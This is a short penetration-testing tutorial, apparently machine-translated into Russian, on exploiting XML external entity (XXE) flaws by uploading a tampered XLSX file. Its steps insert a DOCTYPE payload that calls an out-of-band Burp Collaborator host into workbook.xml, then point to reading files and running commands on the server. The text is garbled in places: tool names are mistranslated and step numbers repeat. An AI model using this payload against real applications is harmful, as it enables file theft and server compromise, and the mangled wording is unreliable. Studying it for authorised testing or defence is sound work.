Эксплуатация электронных таблиц Xxe . XLSX

Уязвимость внешней сущности XML (XXE) заключается в том, что при синтаксическом анализе структуры XML-документа, называемой определением типа документа (DTD), можно определить собственные XML-сущности. В зависимости от обработчика XML на стороне сервера и конфигурации среды этот тип уязвимости может использоваться по-разному. Начиная со перечисления каталогов в системе, чтения файлов приложения и системы, получения зашифрованного пароля пользователя приложения, а также передачи файлов на сервер или выполнения системных команд.

Классический сценарий этого типа уязвимости предполагает, что мы имеем дело с запросом, содержащим в нашем теле xml, к которому мы добавляем часть, ответственную за определения нашей собственной сущности. Однако эта уязвимость также может возникнуть при работе с приложением, которое каким-то образом обрабатывает файлы Excel. XLSX , Слово . DOCX или PowerPoint . PPTX. Мы обязаны этому тому, что эти типы файлов являются OOXML-совместимыми, поэтому они просто упакованы несколькими файлами. XML.

Сценарий быстрой атаки выглядит следующим образом:

  1. Создайте новый пустой документ . XLSX. Для этой цели он может использовать «Google Sheet».
Лист Google

2. Открыть Burp Suite Профессиональный -> Отрыжка -> Клиент Соавтора Отрыжки. Затем нажмите кнопку «Копировать в буфер обмена». В моем случае адрес сервера был следующим — lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.

В качестве альтернативы, если у вас есть внешний IP, вы можете использовать простой HTTP-сервер на python — "python3 -m http.server 8080".

3. Откройте загруженный файл с помощью 7zip.

Xlxs издание

3. Отредактируйте файл "workbook.xml" в каталоге "xl", добавив следующий код (разумеется, заменив адрес сервера своим собственным):

<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>

ПРИМЕЧАНИЕ — В одном из тестируемых я приложений уязвимость xxe выявилась после редактирования "[Content_Types].xml", поэтому стоит проверить этот файл.

издание рабочей тетради.xml
издание рабочей тетради.xml

4. Сохраните изменения и загрузите файл в тестируемое приложение.

5. Теперь проверьте клиент Collaborator на наличие любых запросов:

клиент-соавтор отрыжки

6. Наслаждайтесь 🙂 — вы только что подтвердили уязвимость xxe в тестируемом приложении и можете приступить к дальнейшему ее использованию.

Общей функцией безопасности в отношении XXE является полное отключение загрузки внешних сущностей в синтаксический анализатор XML.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!).
Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Закладка Постоянная ссылка.

Podziel się swoją opinią na temat artykułu